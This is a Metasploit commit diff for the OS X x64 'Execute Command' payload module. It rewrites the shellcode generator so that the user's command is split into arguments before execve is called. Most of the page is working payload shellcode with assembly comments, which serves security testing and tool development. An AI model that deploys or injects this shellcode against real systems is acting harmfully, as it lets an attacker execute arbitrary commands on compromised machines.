Skip to content

Commit 5921761

Browse files
committed
Rewrite osx x64 cmd payload to accept args.
[SeeRM rapid7#8260]
1 parent 54af292 commit 5921761

File tree

1 file changed

+27
-13
lines changed
  • modules/payloads/singles/osx/x64

1 file changed

+27
-13
lines changed

modules/payloads/singles/osx/x64/exec.rb

Lines changed: 27 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -16,33 +16,47 @@ def initialize(info = {})
1616
super(merge_info(info,
1717
'Name' => 'OS X x64 Execute Command',
1818
'Description' => 'Execute an arbitrary command',
19-
'Author' => 'argp <argp[at]census-labs.com>',
19+
'Author' => [ 'argp <argp[at]census-labs.com>',
20+
'joev <jvennix[at]rapid7.com>' ],
2021
'License' => MSF_LICENSE,
2122
'Platform' => 'osx',
2223
'Arch' => ARCH_X86_64
2324
))
2425

2526
# exec payload options
26-
register_options(
27-
[
28-
OptString.new('CMD', [ true, "The command string to execute" ]),
27+
register_options([
28+
OptString.new('CMD', [ true, "The command string to execute" ])
2929
], self.class)
3030
end
3131

3232
# build the shellcode payload dynamically based on the user-provided CMD
3333
def generate
34-
cmd = (datastore['CMD'] || '') << "\x00"
35-
call = "\xe8" + [cmd.length].pack('V')
34+
cmd_str = datastore['CMD'] || ''
35+
# Split the cmd string into arg chunks
36+
cmd_parts = Shellwords.shellsplit(cmd_str)
37+
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
38+
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
39+
call = "\xe8" + [arg_str.length].pack('V')
3640
payload =
3741
"\x48\x31\xc0" + # xor rax, rax
38-
"\x48\xb8\x3b\x00\x00\x02\x00\x00\x00\x00" + # mov rax, 0x200003b (execve)
3942
call + # call CMD.len
40-
cmd + # CMD
41-
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
42-
"\x48\x31\xd2" + # xor rdx, rdx
43-
"\x52" + # push rdx
44-
"\x57" + # push rdi
45-
"\x48\x89\xe6" + # mov rsi, rsp
43+
arg_str + # CMD
44+
"\x5f" + # pop rdi
45+
if cmd_parts.length > 1
46+
"\x48\x89\xf9" + # mov rcx, rdi
47+
"\x50" + # push null
48+
# for each arg, push its current memory location on to the stack
49+
cmd_parts[1..-1].each_with_index.map do |arg, idx|
50+
"\x48\x81\xc1" + # add rcx + ...
51+
[cmd_parts[idx].length+1].pack('V') + #
52+
"\x51" # push rcx (build str array)
53+
end.join
54+
else
55+
"\x50" # push null
56+
end +
57+
"\x57"+ # push rdi
58+
"\x48\x89\xe6"+ # mov rsi, rsp
59+
"\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)
4660
"\x0f\x05" # syscall
4761
end
4862
end

0 commit comments

Comments
 (0)